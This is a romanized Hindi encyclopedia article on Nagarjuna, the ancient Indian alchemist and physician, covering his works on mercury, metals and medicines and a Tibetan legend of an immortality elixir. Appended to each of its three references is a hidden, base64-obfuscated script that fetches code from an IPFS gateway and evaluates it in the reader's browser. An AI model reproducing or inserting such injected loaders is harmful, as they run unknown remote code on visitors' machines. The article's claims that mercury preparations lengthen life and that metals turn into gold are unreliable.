नागार्जुन (रसायनशास्त्री)
| chitr:Disamb2.jpg nagarjun | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- nagarjun (bahuvikalpi) |
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nagarjun (rasayanashastri)
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| janm | dvitiy shatabdi |
| janm bhoomi | vidarbh, maharashtr; jabaki kuchh log janm sthan gujarat ke daihak gaanv ko manate haian. |
| karm bhoomi | bharat |
| mukhy rachanaean | 'rasaratnakar', 'rasendramangal', 'arogyamanjari', 'kakshapoot tantr', 'yogasar' aur 'yogashtak' adi. |
| prasiddhi | rasayanashastri |
| nagarikata | bharatiy |
| any janakari | nagarjun ek bahut achchhe chikitsak bhi the, unhoanne kee b de rogoan ki aushadhiyaan taiyar ki thian. chikitsa vijnan ke kshetr mean unaki prasiddh pustakean ‘kakshaputatantr‘, ‘arogy manjari‘, ‘yogasar‘ aur ‘yogashtak‘ haian. |
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nagarjun (janm- dvitiy shatabdi, maharashtr) ka nam bharatiy rasayanavettaoan mean prasiddh hai. unhoanne 'sushrut sanhita' ke poorak ke roop mean 'uttar tantr' namak pustak bhi likhi. isamean davaiyaan banane ke tarike diye gaye haian. unake dvara likhi gee mahattvapoorn pustak 'rasaratnakar' hai. ayurved ki ek pustak 'arogyamanjari' bhi likhi. 'kakshapoot tantr', 'yogasar' aur 'yogashtak' unake dvara likhi gee any pustakean haian.
parichay
nagarjun ka janm eesa ki doosari shatabdi mean maharashtr ke vidarbh pradesh mean ek brahman kul mean hua tha. yah bhi mana jata hai ki unaka janm 931 ee. mean gujarat ke daihak namak gaanv mean hua tha.[1] tibbati sahity mean chaurasi siddhoan mean ek nagarjun ko mana gaya hai, jinamean pradarshit chitroan mean nagarjun ko gale mean sarp dale chitrit kiya hai. nagarjun ne rasayanashastr par adharit jo pustak likhi, usaka nam 'rasaratnakar' ya 'rasendramangal' hai, jo sanskrit bhasha mean likhi gayi hai. isamean rasayan ki kee vidhiyoan ka varnan kiya gaya hai.[2]
shreshth rasayanavetta
'rasaratnakar' ke adhyayan se nagarjun dvara prayukt kiye gaye vibhinn prakar ke rasayanoan ka parichay milata hai, jo tatkalin samay mean asadharan tha. yah nishchit roop se kaha ja sakata hai ki nagarjun prachin bharatiy samay ke shreshth rasayanavetta rahe hoange. unake dvara prayukt kiye gaye rasayan to adhunik vijnan mean bhi prayog mean laye jate haian. simit sadhanoan evan alp suvidhaoan ke bich nagarjun ne apane athak parishram evan buddhibal se jo kuchh bhi prapt kiya, vijnan ke kshetr mean nishchay hi vah ek mahatvapoorn upalabdhi hai.
yogadan
nagarjun ne 12 sal ki umr se hi rasayan vijnan ke kshetr mean shodh kary shuroo kar diya tha. rasayanashastr par unhoanne kee pustakoan ki rachana ki, jinamean ‘rasaratnakar‘ aur 'rasendramangal' bahut prasiddh haian. rasaratnakar mean unhoanne pe d-paudhoan se aml aur kshar prapt karane ki kee vidhiyaan bataee haian, jinaka upayog aj bhi kiya jata hai. isi pustak mean unhoanne yah bhi bataya ki pare ko kaise shuddh kiya jae aur usake yaugik kaise banae jaean. rasaratnakar mean hi unhoanne chaandi, sona, tin aur taanbe ki kachchi dhatu nikalane aur use shuddh karane ke tarike bhi bataye haian. is pustak ko unhoanne apane aur devataoan ke bich batachit ki shaili mean likha tha. nagarjun ne rasaratnakar mean hi varnan diya hai ki doosari dhatuean sone mean kaise badal sakati haian, agar vo sone mean na bhi badale to unake oopar aee pili chamak sone jaisi hi hogi. unhoanne hiangul aur tin jaise khanizoan se pare jaisi vastu banane ka tarika bhi bataya hai.[3]
chikitsa kshetr mean upalabdhi
nagarjun ek bahut achchhe chikitsak bhi the, unhoanne kee b de rogoan ki aushadhiyaan taiyar ki thian. chikitsa vijnan ke kshetr mean unaki prasiddh pustakean ‘kakshaputatantr‘, ‘arogy manjari‘, ‘yogasar‘ aur ‘yogashtak‘ haian. nagarjun ne pare par bahut shodh kary kiya tha aur bataya tha ki isase b de-b de rogoan ko door karane ke lie davaiyaan kaise banaee jaean. apani ek pustak mean nagarjun ne pare ko shiv tatv aur gandhak ko parvati tatv mana aur kaha ki in donoan tatvoan ke hiangul (ek prakar ka khaniz) se ju dane par jo dravy utpann hua, vah jivan kal (umr) badhane ke lie kafi phayademand hai. use unhoanne ‘rasasindoor’ nam diya. nagarjun ki pustakoan se pata chalata hai ki vah us samay khanizoan ke hanikarak gunoan ko door karake unhean shuddh karate the taki sehatavardhak davaiyaan banaee ja sakean.
katha
tibbati sahity mean nagarjun ke vishay mean yah katha prachalit hai ki unhoanne rasayan ki vidya ek brahman se atyant chamatkarik dhang se prapt ki thi. kaha jata hai ki vyali nam ka ek dhani brahman adami ko amaratv pradan karane ki khoj karane nikal p da. usane vibhinn prayogoan se bhari huee apani likhi pustak ko vyarth samajhakar sootr nadi mean pravahit kar die. nagar ki ek veshya ne nadi mean snan karate samay us pustak ko dekha, jo pani mean doobakar bhi sookhi huee thi. yah dekhakar use ashchary hua. vah use kautoohalavash apane ghar le ayi.
kaha jata hai ki veshya ek din apani pakashala mean khana bana rahi thi. saubhagyavash vyali us veshya ka atithi tha. apani pustak ko pun: pakar usane amrit banane ki vidhi prarambh kar di. idhar veshya ka khana pak raha tha, udhar vyali apane amrit rasayan sanbandhi prayogoan mean laga hua tha. veshya ne galati se chutaki bhar masala vyali ke amrit rasayan mean dal diya. bas phir kya tha, poornaroopen amrit ras taiyar ho gaya. vyali us amrit ras ko lekar jangal isalie bhag gaya taki us amrit ras ka labh koee any n le sake. vah daladaliy bhoomi ki chattan par jakar rahane laga. nagarjun ko jab yah jnat hua to usane vyali ka pata lagakar amrit ras ka rahasy pata kar liya. kahate haian ki us rasayan ke sevan se chehare ki jhurriyaan gayab ho jati thian. saphed bal kale ho jate the. boodha adami javan ho jaya karata tha.
nagarjun ne bhi ek yakshini ki 12 varshoan tak sadhana kar para baandhane ki vidhi prapt ki thi. unhoanne pile gandhak ko palash ke goand ke ras se shodhit kar gobar ke kandoan ki ag par pakakar chaandi ko sone mean badalane ki vidhi par pravinata hasil ki thi. nagarjun ne pare ko aushadhi ke roop mean vibhinn sthanoan par prayog kiya tha. isake lie unhoanne pare ki pisht ka bhasm taiyar karane ke lie garbhayantr ka prayog kiya, jisamean phooankani, gobar ki kandika, dhaukani, vibhinn prakar ki sandsiyoan ko prayog mean laya gaya.[2]
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tika tippani aur sandarbh
- ↑ prachin bharat ka mahan rasayanashastri maharshi nagarjun (hiandi) biographyhindi.com. abhigaman tithi: 16 march, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 rasayanashastri nagarjun ki jivani (hiandi) biographyhindi.com. abhigaman tithi: 16 march, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ prachin bharat ke mahan vaijnanik nagarjun (hiandi) nagarjuna-scientist-in-hindi.html. abhigaman tithi: 16 march, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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